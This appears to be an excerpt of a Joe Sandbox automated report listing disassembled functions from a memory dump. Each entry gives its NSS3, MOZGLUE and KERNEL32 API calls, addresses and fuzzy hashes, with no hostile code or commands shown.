Function 6C60A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C6E9270), ref: 6C60A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C6E9270), ref: 6C60A9DE

Part of subcall function 6C60AB40: __aulldiv.LIBCMT ref: 6C60AB66

Part of subcall function 6C6ECA40: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C60AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C60AA39
EnterCriticalSection.KERNEL32(?), ref: 6C60AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60AAEB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 62d1847ee543059ccdbefeb10a86e88db3f0d02720de691d0c9c3eafd2485dd2
Instruction ID: 49b5a20ad5d81cf19b3c85a55592cb60e04f691e9fe46fa4cc83bf4fd63434ab
Opcode Fuzzy Hash: 62d1847ee543059ccdbefeb10a86e88db3f0d02720de691d0c9c3eafd2485dd2
Instruction Fuzzy Hash: B9416E707047018FD7149F28C6857D6BBB1FB0A399F248A6DE4599B682DB719881CB84

Function 6C6388D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638906
EnterCriticalSection.KERNEL32(?), ref: 6C63891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C63894A
calloc.MOZGLUE(00000001,6C64072D,00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638959
memset.VCRUNTIME140(?,00000000,?), ref: 6C638993
PR_Unlock.NSS3(?), ref: 6C6389AF

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: efc9a828ec689a3a7664578446fec0c2fad57844649959ddedb5c6f95dc8ba60
Instruction ID: 14fc11e6ba28ffb0339f42b027360a4ccfcc38c0a136151441724dc42e8cec17
Opcode Fuzzy Hash: efc9a828ec689a3a7664578446fec0c2fad57844649959ddedb5c6f95dc8ba60
Instruction Fuzzy Hash: 0B31E472E00225ABD7018F2CCC41AD577A8AF0935DF15A127EC1CDBBA1E731E84587EA

Function 6C62AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C62AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C62AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C749500), ref: 6C62AF23

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62AF37

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction ID: 0948964ce8bc8e686d5d8f2ed0c916822ec292a0dd94039db292b9f5899a339e
Opcode Fuzzy Hash: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction Fuzzy Hash: 46214CB1909200ABE7208E189C01B9A77E4AF8572CF144719FC649B7C2F779D5058BBF

Function 6C738A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C738A8F

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

htons.WSOCK32(?), ref: 6C738ACB
PR_GetCurrentThread.NSS3(?), ref: 6C738AE2
htons.WSOCK32(?), ref: 6C738B1E
htonl.WSOCK32(7F000001,?), ref: 6C738B3B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: 41ce4bcb61c0769b6d4d6e63e535ecee7b85ad5437d8ffe59e82b6370b263e24
Instruction ID: 6917abeaca204e0161276be02e91eb50e90d508243585a452af06ad08de42e70
Opcode Fuzzy Hash: 41ce4bcb61c0769b6d4d6e63e535ecee7b85ad5437d8ffe59e82b6370b263e24
Instruction Fuzzy Hash: 74219FB0D147669AC3208F398A45566B2F5AF95308B21EA2FE8DDD7A12F730A4C4C395

Function 6C6AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85
realloc.MOZGLUE(2047C135,?), ref: 6C6AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6AEEC5

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

htonl.WSOCK32(?), ref: 6C6AEEE3
htonl.WSOCK32(00000000,?), ref: 6C6AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6AEF01

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction ID: bae028b01f136ffc30c02e29ec9932ff6e288401f15c4b2c8d0eb8dc7d6a1b6c
Opcode Fuzzy Hash: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction Fuzzy Hash: 0721D671A002249FCF109F68DC8479AB7A4EF49358F158179EC099B642E330EC16C7EA

Function 6C65EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65EE49

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C65EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C65EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C65EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C65EEB3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 2d21c71bdfac93dff1015d842b9cdbf9462363f9cea0bbf83c0882ee49d61eaf
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6B21C3B6B10211ABEF118B28DC81EAB77A8AB46708F544564FE089B341E771DC2587F9

Function 6C680AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6C637F62,00000000,00000000,?,?,?,6C6380DD), ref: 6C680AAE
PL_HashTableDestroy.NSS3(?,?,?,6C637F62,00000000,00000000,?,?,?,6C6380DD), ref: 6C680ACA
PL_HashTableDestroy.NSS3(?,?,?,6C637F62,00000000,00000000,?,?,?,6C6380DD), ref: 6C680B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6C637F62,00000000,00000000,?,?,?,6C6380DD), ref: 6C680B24
free.MOZGLUE(?,?,?,6C637F62,00000000,00000000,?,?,?,6C6380DD), ref: 6C680B3C
memset.VCRUNTIME140(6C7824E4,00000000,000005B0,?,?,6C637F62,00000000,00000000,?,?,?,6C6380DD), ref: 6C680BC2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: 3134be834ecfbdb093716d6650b9bbf701bd6accdb16037777d033ef8ae94ac8
Instruction ID: a03f8b0c38d1ddedb623b0a9d572d7a785135cafdf744c0fd4a71a0af73bf3a1
Opcode Fuzzy Hash: 3134be834ecfbdb093716d6650b9bbf701bd6accdb16037777d033ef8ae94ac8
Instruction Fuzzy Hash: 6721FDF0B032419AEF90CB669C0D74236F8BB0775EF210435DA2DD2A41E73999488B76

Function 6C678A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C6261C4,?,6C625F9C,00000000), ref: 6C678A81
TlsGetValue.KERNEL32(?,?,?,6C625F9C,00000000), ref: 6C678A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6C625F9C,00000000), ref: 6C678AB7
PR_Unlock.NSS3(?,?,?,?,?,6C625F9C,00000000), ref: 6C678AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C625F9C,00000000), ref: 6C678B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6C625F9C,00000000), ref: 6C678B18

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: 960f5190c3165ed3ecc085ccbe4cde56e59f3f704fbb6894aa66dbb6df1fccac
Instruction ID: 81adb84b60e348a9e2f6647dbdfca0202cd846725d903c5c081f45f04b0023e2
Opcode Fuzzy Hash: 960f5190c3165ed3ecc085ccbe4cde56e59f3f704fbb6894aa66dbb6df1fccac
Instruction Fuzzy Hash: D42151B0604704CBDB20AF38C048655B7F4FF0A349F154E7AD89997B21EB30E894CBA9

Function 6C674820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C674EB8,?), ref: 6C674884

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6748A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6748B8

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 12d913daaf389051a193454e1d9ad028e048a7805370f62d61dac93bfe2d4b7f
Instruction ID: 3b226bc0cd898244335395a55339dbd8362b5435a5981b9956f9a64579a3287e
Opcode Fuzzy Hash: 12d913daaf389051a193454e1d9ad028e048a7805370f62d61dac93bfe2d4b7f
Instruction Fuzzy Hash: 6C212672F002489BEF205FA5DC88A6677B8EF0B3497140974DE1947A12E761EC148BB6

Function 6C6389E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6388AE,-00000008), ref: 6C638A04
EnterCriticalSection.KERNEL32(?), ref: 6C638A15
memset.VCRUNTIME140(6C6388AE,00000000,00000132), ref: 6C638A27
PR_Unlock.NSS3(?), ref: 6C638A35
memset.VCRUNTIME140(6C6388AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C6388AE,-00000008), ref: 6C638A45
free.MOZGLUE(6C6388A6,?,6C6388AE,-00000008), ref: 6C638A4E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 704530361d219f90d00025e44f7e3dea4629aaadfce301b93b453701a1890d3e
Instruction ID: 84f0db07aee49fe147b3c55aa027caa180ba2ddf1842315e0c029b6ee72ae54c
Opcode Fuzzy Hash: 704530361d219f90d00025e44f7e3dea4629aaadfce301b93b453701a1890d3e
Instruction Fuzzy Hash: ED1108B1E003249BEB019F68DC48AEABB78FF09358F042576E91CD6611E731D95487E5

Function 6C638A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6C638FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C640710), ref: 6C638FF1
Part of subcall function 6C638FE0: calloc.MOZGLUE(00000001,00000000,?,?,6C640710), ref: 6C63904D
Part of subcall function 6C638FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C640710), ref: 6C639066
Part of subcall function 6C638FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C640710), ref: 6C639078

TlsGetValue.KERNEL32 ref: 6C638AC1
EnterCriticalSection.KERNEL32 ref: 6C638AD6
PL_FinishArenaPool.NSS3 ref: 6C638AE5
PR_Unlock.NSS3 ref: 6C638AF7
DeleteCriticalSection.KERNEL32 ref: 6C638B02
free.MOZGLUE ref: 6C638B0E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: dd4a851544429d20dea64bf3e7cfaa44b1c8193cfcfa241c48693ed3515aa66d
Instruction ID: 258bf1a947e3c239034daf0bd7d8c6f0c80fe400bd2039afc5a6efc5b33ff203
Opcode Fuzzy Hash: dd4a851544429d20dea64bf3e7cfaa44b1c8193cfcfa241c48693ed3515aa66d
Instruction Fuzzy Hash: 4C117FB15046158BDB00BF78C4496AABBF4FF09349F01657AD889C7710EB34E499CBEA

Function 6C738910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C73892E

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_Lock.NSS3 ref: 6C738950

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

getprotobynumber.WSOCK32(?), ref: 6C738959
GetLastError.KERNEL32(?), ref: 6C738967
PR_GetCurrentThread.NSS3(?,?), ref: 6C73896F
PR_Unlock.NSS3(?,?), ref: 6C73898A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 4579ac14942c3e671190e9810043e71acca2fb6e0e11bcc547ce2ce3cb2da8b3
Instruction ID: ce9fc56d97d00d7166135d1663dc65a674ed3ff6be6620d4048ed0dcd8731c83
Opcode Fuzzy Hash: 4579ac14942c3e671190e9810043e71acca2fb6e0e11bcc547ce2ce3cb2da8b3
Instruction Fuzzy Hash: B911C6B2E141349BCB005F799D0458A3A69AF46378F1653B7ED0997B62D7308C04C7DA

Function 6C6B6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6846

Part of subcall function 6C611770: calloc.MOZGLUE(00000001,0000019C,?,6C6115C2,?,?,?,?,?,00000001,00000040), ref: 6C61178D

PR_NewMonitor.NSS3(00000000,?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6855

Part of subcall function 6C678680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C6255D0,00000000,00000000), ref: 6C67868B
Part of subcall function 6C678680: PR_NewLock.NSS3(00000000,00000000), ref: 6C6786A0
Part of subcall function 6C678680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C6786B2
Part of subcall function 6C678680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C6786C8
Part of subcall function 6C678680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C6786E2
Part of subcall function 6C678680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C6786EC
